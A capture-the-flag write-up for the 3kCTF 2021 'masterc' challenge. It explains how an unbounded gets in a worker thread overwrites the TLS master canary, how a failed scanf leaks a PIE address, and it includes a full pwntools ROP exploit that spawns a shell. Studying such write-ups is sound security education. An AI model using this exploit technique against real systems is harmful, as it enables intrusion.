3kCTF 2021 / Published
masterc
Overwriting a thread's master canary in its TCB via an unbounded gets, then ROP-ing to a shell after leaking a PIE address through scanf.
Contents 6
Files 1
- Target
- amd64, glibc 2.31
- RELRO
- Full
- Canary
- Found
- NX
- Enabled
- PIE
- Enabled
Threaded win? is that even a thing?
nc masterc.2021.3k.ctf.to 9999
Inspecting the binary and its protections
In this challenge, we are provided with a tarball. Upon unpacking it, we are presented with the following files.
vagrant in pwnbox in /CTF/3kctf-2021/
❯ tree masterc
masterc
├── Dockerfile
├── bin
│ ├── flag.txt
│ ├── ld-2.31.so
│ ├── libc-2.31.so
│ └── masterc
├── ctf.xinetd
├── dockerbuild.sh
├── src
│ └── masterc.c
└── start.shHow nice, they even provided us with the source code! But let’s not get ahead of ourselves. Lets start off by checking what security mitigations are present in the binary.
vagrant in pwnbox in masterc/bin
❯ checksec masterc
[*] '/CTF/3kctf-2021/masterc/bin/masterc'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledWow, seems like most of the mitigations are enabled. Looks like this will get pretty interesting. Perhaps we should play around with the binary to get a better idea of what it does.
vagrant in pwnbox in masterc/bin
❯ ./masterc
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 1670024690
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)Investigating the threaded overflow
Well, what do u know? Seems like we found a buffer overflow vulnerability in the input above. Running it in GDB should give us more context.
vagrant in pwnbox in masterc/bin
❯ gdb -q ./masterc
pwndbg: loaded 193 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./masterc...done.
pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : 1
Sorry, that was the last guess!
You entered 1 but the right number was 983362954
I don't think you won the game if you made it until here ...
But maybe a threaded win can help?
[New Thread 0x7ffff77c2700 (LWP 31150)]
>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Thread 2 "masterc" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff77c2700 (LWP 31150)]
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
51 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff77c1d00 ◂— 0x0
RCX 0x7ffff7801fb7 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108]
RDX 0x0
RDI 0x2
RSI 0x7ffff77c1a60 ◂— 0x0
R8 0x0
R9 0x7ffff77c1a60 ◂— 0x0
R10 0x8
R11 0x246
R12 0x7ffff77c1d00 ◂— 0x0
R13 0x1000
R14 0x0
R15 0x30
RBP 0x7ffff77c1e90 —▸ 0x7ffff79798f1 ◂— cmp al, 0x75 /* '<unknown>' */
RSP 0x7ffff77c1a60 ◂— 0x0
RIP 0x7ffff7801fb7 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108]
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x7ffff7801fb7 <raise+199> mov rcx, qword ptr [rsp + 0x108] <0x7ffff7801fb7>
0x7ffff7801fbf <raise+207> xor rcx, qword ptr fs:[0x28]
0x7ffff7801fc8 <raise+216> mov eax, r8d
0x7ffff7801fcb <raise+219> jne raise+252 <raise+252>
↓
0x7ffff7801fec <raise+252> call __stack_chk_fail <__stack_chk_fail>
0x7ffff7801ff1 nop word ptr cs:[rax + rax]
0x7ffff7801ffb nop dword ptr [rax + rax]
0x7ffff7802000 <killpg> test edi, edi
0x7ffff7802002 <killpg+2> js killpg+16 <killpg+16>
0x7ffff7802004 <killpg+4> neg edi
0x7ffff7802006 <killpg+6> jmp kill <kill>
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7ffff77c1a60 ◂— 0x0
... ↓
04:0020│ 0x7ffff77c1a80 ◂— 0xffffffff
05:0028│ 0x7ffff77c1a88 ◂— 0x0
06:0030│ 0x7ffff77c1a90 —▸ 0x7ffff77ccf90 ◂— lock add byte ptr [rax], r8b
07:0038│ 0x7ffff77c1a98 —▸ 0x7ffff7fe14f0 —▸ 0x7ffff77c3000 ◂— jg 0x7ffff77c3047
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 7ffff7801fb7 raise+199
f 1 7ffff7803921 abort+321
f 2 7ffff784c967 __libc_message+631
f 3 7ffff78f7b61 __fortify_fail_abort+49
f 4 7ffff78f7b22
f 5 555555555483 win+77
f 6 4141414141414141
f 7 4141414141414141
──────────────────────────────────────────────────────────────────────────────────────────────────────The most interesting part about the GDB output above lies in [New Thread 0x7ffff77c2700 (LWP 31150)]. This tells us that the binary spawns a new thread to run the win() function. This can be verified by cross referencing with the provided source code.
pthread_t tid;
pthread_create(&tid, NULL, (void*)win, NULL);
pthread_join(tid, NULL);As seen above, win() is called in a separate worker thread. In the recorded layout, its unbounded write can reach both the saved canary and the TLS guard used to check it. Thread creation alone does not bypass the stack protector; the reachable memory layout is what matters.
Understanding the stack canary check
In order to understand how this works, we need to understand the mechanism behind the stack protector.
pwndbg> disass win
Dump of assembler code for function win:
0x0000000000001436 <+0>: endbr64
0x000000000000143a <+4>: push rbp
0x000000000000143b <+5>: mov rbp,rsp
0x000000000000143e <+8>: sub rsp,0x20
0x0000000000001442 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000000144b <+21>: mov QWORD PTR [rbp-0x8],rax
0x000000000000144f <+25>: xor eax,eax
0x0000000000001451 <+27>: lea rdi,[rip+0xbb7] # 0x200f
0x0000000000001458 <+34>: call 0x1140 <puts@plt>
0x000000000000145d <+39>: lea rax,[rbp-0x20]
0x0000000000001461 <+43>: mov rdi,rax
0x0000000000001464 <+46>: mov eax,0x0
0x0000000000001469 <+51>: call 0x11c0 <gets@plt>
0x000000000000146e <+56>: nop
0x000000000000146f <+57>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001473 <+61>: xor rax,QWORD PTR fs:0x28
0x000000000000147c <+70>: je 0x1483 <win+77>
0x000000000000147e <+72>: call 0x1150 <__stack_chk_fail@plt>
0x0000000000001483 <+77>: leave
0x0000000000001484 <+78>: ret
End of assembler dump.With reference to the disassembly of win as seen above, we observe the presence of the following snippet of disassembly in the function prologue.
0x0000000000001442 <+12>: mov rax,QWORD PTR fs:0x28
0x000000000000144b <+21>: mov QWORD PTR [rbp-0x8],raxBased on our understanding of how a x64 stack frame is laid out, we should know that rbp-0x8 should contain the value of the stack canary. As seen above, the value at fs:0x28 is copied into rbp-0x8 which implies that fs:0x28 should contain the value of the canary.
0x000000000000146f <+57>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001473 <+61>: xor rax,QWORD PTR fs:0x28
0x000000000000147c <+70>: je 0x1483 <win+77>
0x000000000000147e <+72>: call 0x1150 <__stack_chk_fail@plt>We can confirm our hypothesis by observing that the function epilogue contains the above disassembly. The value at rbp-0x8 is loaded into rax and subsequently xor-ed with the value at fs:0x28 to check it’s equivalence using the self-inverting property of xor. If it’s not equivalent, __stack_chk_fail is called and the “stack smashing detected” message should pop up.
Locating the master canary in thread-local storage
So what’s the significance of all this? Lets break at the gets() function responsible for the buffer overflow vulnerability to find out.
pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555555469 <win+51> call gets@plt <gets@plt>
rdi: 0x7ffff77c1ed0 ◂— 0x0
rsi: 0x7ffff7baf7e3 (_IO_2_1_stdout_+131) ◂— 0xbb08c0000000000a /* '\n' */
rdx: 0x7ffff7bb08c0 (_IO_stdfile_1_lock) ◂— 0x0
rcx: 0x7ffff78d3257 (write+71) ◂— cmp rax, -0x1000 /* 'H=' */
0x55555555546e <win+56> nop
0x55555555546f <win+57> mov rax, qword ptr [rbp - 8]
0x555555555473 <win+61> xor rax, qword ptr fs:[0x28]
0x55555555547c <win+70> je win+77 <win+77>
0x55555555547e <win+72> call __stack_chk_fail@plt <__stack_chk_fail@plt>
0x555555555483 <win+77> leave
0x555555555484 <win+78> ret
0x555555555485 <play_game> endbr64
0x555555555489 <play_game+4> push rbp
0x55555555548a <play_game+5> mov rbp, rsp
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack
00:0000│ rdi rsp 0x7ffff77c1ed0 ◂— 0x0
... ↓
02:0010│ 0x7ffff77c1ee0 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
03:0018│ 0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
04:0020│ rbp 0x7ffff77c1ef0 ◂— 0x0
05:0028│ 0x7ffff77c1ef8 —▸ 0x7ffff7bbb6db (start_thread+219) ◂— mov qword ptr fs:[0x630], rax
06:0030│ 0x7ffff77c1f00 ◂— 0x0
07:0038│ 0x7ffff77c1f08 —▸ 0x7ffff77c2700 ◂— 0x7ffff77c2700
pwndbg> p/x $fs_base
$1 = 0x7ffff77c2700
pwndbg> vmmap stack
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
pwndbg> p/d ($fs_base-0x7ffff77c1ed0)
$2 = 2096Observe that,
- our (unbounded) input would be read into
0x7ffff77c1ed0(on the stack) - the worker’s FS base is
0x7ffff77c2700, where its TCB begins.
The recorded FS base is 2096 bytes (0x830) after the buffer. The TLS guard is another 0x28 bytes later, at buffer offset 0x858. These are distances in this captured worker layout, not portable pthread constants. FS base is the address used for FS-relative memory access, not the numeric FS segment selector. The displayed [stack] mapping belongs to the main thread and does not contain these worker addresses.
The source declares a 16-byte buffer. Eight bytes of padding follow it before the saved guard at +0x18; saved RBP starts at +0x20, and the return address starts at +0x28. Although the stack grows toward lower addresses, the sequential gets write proceeds toward increasing addresses.
To understand this layout, we need to examine the thread-local storage addressed through FS base. According to an article on StackGuard,
__stack_chk_guardcan be stored in various places; some architectures use TLS (Thread-local Storage) data for it.
Okay great. But what is the TLS data doing on the stack to begin with?
If we take a peek into the glibc 2.31 source code for stack allocation, we would chance upon the following:
# Snippet from glibc 2.31 source nptl/allocatestack.c
/* We place the thread descriptor at the end of the stack. */
*pdp = pd;
# if _STACK_GROWS_DOWN
void *stacktop;
# if TLS_TCB_AT_TP
/* The stack begins before the TCB and the static TLS block. */
stacktop = ((char *) (pd + 1) - __static_tls_size);This allocator places the thread descriptor, TLS, and worker stack together. In the captured layout, the TCB is above the input buffer. Let’s inspect the TLS header file to see the guard fields.
# Snippet from glibc 2.31 source sysdeps/x86_64/nptl/tls.h
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;Bingo! So that’s where the stack_guard is stored. We can confirm this in GDB by casting $fs_base as type (tcbhead_t *).
pwndbg> p/x *((tcbhead_t *)$fs_base)
$5 = {
tcb = 0x7ffff77c2700,
dtv = 0x555555559270,
self = 0x7ffff77c2700,
multiple_threads = 0x1,
gscope_flag = 0x0,
sysinfo = 0x0,
stack_guard = 0xf6f5753eabcde400,
pointer_guard = 0x70c617bfb6ee6e93,
vgetcpu_cache = {0x0, 0x0},
__glibc_reserved1 = 0x0,
__glibc_unused1 = 0x0,
__private_tm = {0x0, 0x0, 0x0, 0x0},
__private_ss = 0x0,
__glibc_reserved2 = 0x0,
__glibc_unused2 = {{{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}, {{
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}, {
i = {0x0, 0x0, 0x0, 0x0}
}}},
__padding = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}We can go a step further by printing the stack_guard field directly.
pwndbg> p/x ((tcbhead_t *)$fs_base)->stack_guard
$6 = 0xf6f5753eabcde400
pwndbg> canary
AT_RANDOM = 0x7fffffffe529 # points to (not masked) global canary value
Canary = 0xf6f5753eabcde400
Found valid canaries on the stacks:
00:0000│ 0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c2728 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c1ee8 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c1f98 ◂— 0xf6f5753eabcde400
00:0000│ 0x7ffff77c2728 ◂— 0xf6f5753eabcde400As depicted above the value of stack_guard is 0xf6f5753eabcde400 which matches the value of the canaries present on the stack, quod erat demonstrandum.
So how do we bypass the canary check? The long overflow replaces both the saved guard at rbp-0x8 and TLS stack_guard with the same eight-byte value. The script uses 0xdeadbeefdeadbeef as that value, not as an address. Changing only the saved guard fails if it differs from the TLS guard; changing both makes this epilogue’s comparison pass.
The first long payload supplies 0x860 bytes, through the guard at +0x858. gets also appends NUL at +0x860, overwriting the first byte of pointer_guard at FS base plus 0x30. All intervening stack and TLS data is crossed by the write. Passing the guard check only gets execution past this epilogue; the other TLS fields crossed by the write must remain usable until the ROP chain runs. The ROP chain returns to win in the same worker thread. The second payload restores the saved guard and reuses the TLS guard value written by the first payload.
Leaking the PIE base through scanf
We also need a PIE address to calculate the executable’s load base. This separate leak occurs in the main thread, while processing the guess before the worker is created.
pwndbg> context code
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /CTF/3kctf-2021/masterc/src/main.c
13 } while(c != e);
14 }
15
16 void get_ul(unsigned long* num) {
17 fflush(stdout);
► 18 scanf("%lu", num);
19 readuntil('\n');
20 }
21
22 int get_int() {
23 int d;
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> context disassembly
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555555371 <get_ul+50> call __isoc99_scanf@plt <__isoc99_scanf@plt>
format: 0x555555556008 ◂— 0x3e00642500756c25 /* '%lu' */
vararg: 0x7fffffffe188 —▸ 0x555555555579 (set_number_of_tries+39)
0x555555555376 <get_ul+55> mov edi, 0xa
0x55555555537b <get_ul+60> call readuntil <readuntil>
0x555555555380 <get_ul+65> nop
0x555555555381 <get_ul+66> leave
0x555555555382 <get_ul+67> ret
0x555555555383 <get_int> endbr64
0x555555555387 <get_int+4> push rbp
0x555555555388 <get_int+5> mov rbp, rsp
0x55555555538b <get_int+8> sub rsp, 0x10
0x55555555538f <get_int+12> mov rax, qword ptr fs:[0x28]
──────────────────────────────────────────────────────────────────────────────────────────────────────Observe that,
- Guess is read in using
scanf("%lu", num) numis the destination pointer0x7fffffffe188. The value already stored there,*num(the uninitializedguess), is0x555555555579, orset_number_of_tries+39.
Additionally, take note of the following excerpt from the scanf man page.
The format string consists of a sequence of directives which describe how to process the sequence of input characters. If processing of a directive fails, no further input is read, and scanf() returns. A “failure” can be either of the following: input failure, meaning that input characters were unavailable, or matching failure, meaning that the input was inappropriate
Supplying "a" makes the %lu conversion fail without assigning to *num. The program ignores the return value, so guess retains its stale bytes. In this compiled layout, guess reuses the stack slot where the earlier call to get_int saved return address 0x1579 relative to the PIE base. This explains the recorded code pointer; it is not a general guarantee about uninitialized variables.
pwndbg> r
Starting program: /CTF/3kctf-2021/masterc/bin/masterc
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter the size : 1
Enter the number of tries : 1
Enter your guess : a
Sorry, that was the last guess!
You entered 93824992236921 but the right number was 418023495
pwndbg> telescope 93824992236921
00:0000│ 0x555555555579 (set_number_of_tries+39) ◂— mov dword ptr [rbp - 4], eax
pwndbg> xinfo 93824992236921
Extended information for virtual address 0x555555555579:
Containing mapping:
0x555555555000 0x555555556000 r-xp 1000 1000 /CTF/3kctf-2021/masterc/bin/masterc
Offset information:
Mapped Area 0x555555555579 = 0x555555555000 + 0x579
File (Base) 0x555555555579 = 0x555555554000 + 0x1579
File (Segment) 0x555555555579 = 0x555555555000 + 0x579
File (Disk) 0x555555555579 = /CTF/3kctf-2021/masterc/bin/masterc + 0x1579
Containing ELF sections:
.text 0x555555555579 = 0x555555555220 + 0x359Building the ROP exploit
The failed conversion preserved guess, and the program printed its value. The recorded decimal value 93824992236921 is 0x555555555579. Subtracting 0x1579 gives PIE load base 0x555555554000; 0x555555555000 is the executable mapping start, not that load base. The script then uses the worker overflow to leak libc and build a later execve chain. Its local frame offsets are verified, while the TLS distance comes from the recorded runtime layout; the complete exploit has not been replayed here.
from pwn import *
HOST = "masterc.2021.3k.ctf.to"
PORT = 9999
FLAG_FORMAT = "3k{\w+}"
REMOTE_FLAGPATH = "/flag.txt"
CHALLENGE = "./bin/masterc"
TARGET_LIBC = "./bin/libc-2.31.so"
TCB_OFFSET = 0x7FFFF77C2700 - 0x7FFFF77C1ED0
STACK_GUARD_OFFSET = TCB_OFFSET + 0x28
CANARY_OFFSET = 0x7FFFF77C1EE8 - 0x7FFFF77C1ED0
RIP_OFFSET = CANARY_OFFSET + 8 + 8
SIZE_PROMPT = b"Enter the size : "
TRIES_PROMPT = b"Enter the number of tries : "
GUESS_PROMPT = b"Enter your guess : "
INPUT_PROMPT = b"> \n"
GUESS_MARKER = b"You entered "
RIGHT_MARKER = b"right number was "
DUMMY_CANARY = p64(0xDEADBEEFDEADBEEF)
def leak_address():
return u64(io.recvline().rstrip().ljust(8, b"\x00"))
elf = context.binary = ELF(CHALLENGE, checksec=0)
if args.REMOTE:
libc = ELF(TARGET_LIBC, checksec=0)
io = remote(HOST, PORT)
else:
libc = elf.libc
io = elf.process()
with log.progress("Stage 1: Leak PIE address"):
io.sendlineafter(SIZE_PROMPT, str(1))
io.sendlineafter(TRIES_PROMPT, str(1))
io.sendlineafter(GUESS_PROMPT, "a")
io.recvuntil(GUESS_MARKER)
pie_1579 = int(io.recvuntil(" ")[:-1])
elf.address = pie_1579 - 0x1579
log.success(f"pie @ {hex(elf.address)}")
with log.progress("Stage 2: Overwrite Stack Guard and leak libc base"):
rop = ROP(elf)
rop.puts(elf.got.puts)
rop.win()
io.sendlineafter(
INPUT_PROMPT,
flat(
{
CANARY_OFFSET: DUMMY_CANARY,
RIP_OFFSET: rop.chain(),
STACK_GUARD_OFFSET: DUMMY_CANARY,
}
),
)
libc_puts = leak_address()
libc.address = libc_puts - libc.sym.puts
log.success(f"libc @ {hex(libc.address)}")
with log.progress("Stage 3: Pwn"):
rop1 = ROP([elf, libc])
rop1.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)
io.sendlineafter(
INPUT_PROMPT,
flat({CANARY_OFFSET: DUMMY_CANARY, RIP_OFFSET: rop1.chain()}),
)
if args.REMOTE:
io.sendline(f"cat {REMOTE_FLAGPATH}")
log.success(f"Flag: {io.recvline_regexS(FLAG_FORMAT)}")
io.close()
else:
io.interactive()The historical run below records the flag returned by the exploit.
vagrant in pwnbox in 3kctf-2021/masterc
❯ python xpl.py REMOTE
[+] Opening connection to masterc.2021.3k.ctf.to on port 9999: Done
[+] Stage 1: Leak PIE address: Done
[+] pie @ 0x557ccf106000
[+] Stage 2: Overwrite Stack Guard and leak libc base: Done
[*] Loaded 14 cached gadgets for './bin/masterc'
[+] libc @ 0x7f30cf1a9000
[+] Stage 3: Pwn: Done
[*] Loaded 201 cached gadgets for './bin/libc-2.31.so'
[+] Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}Result
Flag: 3k{WH47_Pr3V3N7_Y0U_Fr0M_r0PP1N6_1F_Y0U_C4N_0V3rWr173_7H3_M4573r_C4N4rY_17531F}